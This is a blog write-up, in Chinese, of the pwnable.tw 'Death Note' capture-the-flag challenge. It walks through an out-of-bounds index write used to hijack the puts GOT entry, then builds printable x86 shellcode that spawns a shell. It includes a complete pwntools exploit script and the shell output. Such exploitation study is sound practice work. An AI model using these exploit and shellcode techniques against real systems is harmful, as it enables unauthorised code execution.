Pwnable.tw Death Note Writeup

kazma 成大資安社 創辦人/社長

Pwnablte.tw - Death Note

Description

Write the shellcode on your Death Note.

Source

https://pwnable.tw/challenge/#10

0x1 Initial Reconnaissance

這題題目直接明講要寫 shellcode,而且從名稱可以猜的出來又是選單題,所以就先來寫他了。

file

1
2
└─$ file death_note
death_note: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=547f3a1cf19ffe5798d45def2f4bc5c585af88f5, not stripped

checksec

1
2
3
4
5
6
7
8
9
└─$ checksec death_note
[*] '/home/kazma/pwnabletw/deathnote/death_note'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments

./death_note

1
2
3
4
5
6
7
8
9
10
└─$ ./death_note
-----------------------------------
DeathNote
-----------------------------------
1. Add a name
2. show a name on the note
3. delete a name int the note
4. Exit
-----------------------------------
Your choice :

NX 確實沒開,看一下究竟賣什麼藥讓他可以值 250 分XD

0x2 Reverse Engineering

add_note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned int add_note()
{
int v1; // [esp+8h] [ebp-60h]
char s[80]; // [esp+Ch] [ebp-5Ch] BYREF
unsigned int v3; // [esp+5Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
v1 = read_int();
if ( v1 > 10 )
{
puts("Out of bound !!");
exit(0);
}
printf("Name :");
read_input(s, 0x50u);
if ( !is_printable(s) )
{
puts("It must be a printable name !");
exit(-1);
}
*(&note + v1) = strdup(s);
puts("Done !");
return __readgsdword(0x14u) ^ v3;
}

main 主要就是控制選單我們就直接跳過,先來看 add_note
有很明顯的 oob write,index 只檢查有沒有大於十,沒有檢查下界。
Name 需要是 printable 的,然後長度限制 0x50。
到這邊大概可以確認是要考 Alphanumeric shellcode,長度限制也不會太嚴苛,我們可以透過 oob write 做到 GOT Hijacking, 選一個一定會觸發的 got 這樣也省去 oob read 的步驟。
那關鍵就變成我們 index 要選多少以及要怎麼構建我們的咒語。

0x3 Choose Index

因為我們已經發現 add_note 不會檢查 index 的下界,所以可以 GOT Hijacking,這邊選擇 puts,如此就不用再花一個步驟 oob read ,因為 add_note 結束前會再執行一次 puts("Done !");
先找 puts 的 GOT:

1
2
└─$ readelf -r death_note | grep puts
0804a020 00000607 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0

再來找全域變數 note 的位置:

1
2
└─$ readelf -s death_note | grep OBJECT | grep note
79: 0804a060 40 OBJECT GLOBAL DEFAULT 26 note

index:
(0x0804a020 - 0x0804a060) / 4 = -16

Done!

0x4 Alphanumeric shellcode

我們的目標是要構建出 x86 的 execve('/bin/sh', 0, 0) 並且要是 printable 的。
先來複習一下正常沒有限制的長怎樣,順便叫 AI 幫我們把 byte code 註解在後面:

1
2
3
4
5
6
7
8
9
10
xor    eax, eax            ; 31 C0
push eax ; 50
push 0x68732f2f ; 68 2F 2F 73 68
push 0x6e69622f ; 68 2F 62 69 6E
mov ebx, esp ; 89 E3
push eax ; 50
push ebx ; 53
mov ecx, esp ; 89 E1
mov al, 0xb ; B0 0B
int 0x80 ; CD 80

然後確認一下 is_printable 的實作細節:

1
2
3
4
5
6
7
8
9
10
11
int __cdecl is_printable(char *s)
{
size_t i; // [esp+Ch] [ebp-Ch]

for ( i = 0; strlen(s) > i; ++i )
{
if ( s[i] <= 0x1F || s[i] == 0x7F )
return 0;
}
return 1;
}

所以 byte code 如果落在這個範圍 s[i] <= 0x1F || s[i] == 0x7F 要替換掉。
等等!?範圍乍看之下不太對勁,大於 0x7f 怎麼好像沒有檢查,動態下去跑發現:

printable

可以從圖片看到 0xc0 是會觸發 jle 的跳轉的,原因是 SF 被設定成 1,在二補數中表示負數,所以可能是 ida 反編譯爛掉
實際上應該是 s[i] <= 0x1F || s[i] >= 0x7F
害我開心了一下
正式來構建我們的咒語:

ebx = [‘/bin/sh\0’]

1
2
3
4
5
push 0x68
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx

int 0x80

int 0x80 可以拆成兩個在範圍裡的 xor

1
2
3
4
5
6
7
8
9
push edx
pop eax
push 0x53
pop edx
sub byte ptr [eax+39],dl
sub byte ptr [eax+40],dl
push 0x70
pop edx
xor byte ptr [eax+40],dl

最後加上 b”\x20\x43”

eax = 0x0b

1
2
3
4
push ecx
pop eax
xor al, 0x20
xor al, 0x2b

edx = ecx = 0

ecx 本來就是 0

1
2
push ecx
pop edx

心得:
主要是看我們挑的 offset 是多少,然後觀察當下的各個暫存器的值去拼湊出來,xor 自由度蠻高的很好用。

0x5 Exploit

exploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import warnings

from pwn import *

warnings.filterwarnings("ignore", category=BytesWarning)

context.arch = "i386"

host = "chall.pwnable.tw"
port = 10201

elf = ELF("./death_note")

if len(sys.argv) > 1 and sys.argv[1] == "-r":
r = remote(host, port)
else:
r = process("./death_note")

sc = (
asm(
"""
push 0x68
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx

push edx
pop eax
push 0x53
pop edx
sub byte ptr [eax+39],dl
sub byte ptr [eax+40],dl
push 0x70
pop edx
xor byte ptr [eax+40],dl

push ecx
pop eax
xor al, 0x20
xor al, 0x2b

push ecx
pop edx
"""
)
+ b"\x20\x43"
)

r.sendafter(b":", "1")
r.sendafter(b":", "-16")
r.sendlineafter(b":", sc)

sleep(1)
r.sendline("cat /home/`whoami`/flag")
r.interactive()

result:

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ python exploit.py -r
[*] '/home/kazma/pwnabletw/deathnote/death_note'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
[+] Opening connection to chall.pwnable.tw on port 10201: Done
[*] Switching to interactive mode
FLAG{sh3llc0d3_is_s0_b34ut1ful}
$

因為這邊 payload 都是 printable 的,所以順便印出來感受一下手戳 RCE 的快感:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ nc chall.pwnable.tw 10201
-----------------------------------
DeathNote
-----------------------------------
1. Add a name
2. show a name on the note
3. delete a name int the note
4. Exit
-----------------------------------
Your choice :1
Index :-16
Name :jhh///sh/binT[RXjSZ(P'(P(jpZ0P(QX4 4+QZ C"
id
uid=1000(death_note) gid=1000(death_note) groups=1000(death_note)

順利成功!

0x6 Pwned!!!

  • Title: Pwnable.tw Death Note Writeup
  • Author: kazma
  • Created at : 2024-06-07 02:57:15
  • Updated at : 2024-06-07 02:57:15
  • Link: https://kazma.tw/2024/06/07/Pwnable-tw-Death-Note-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments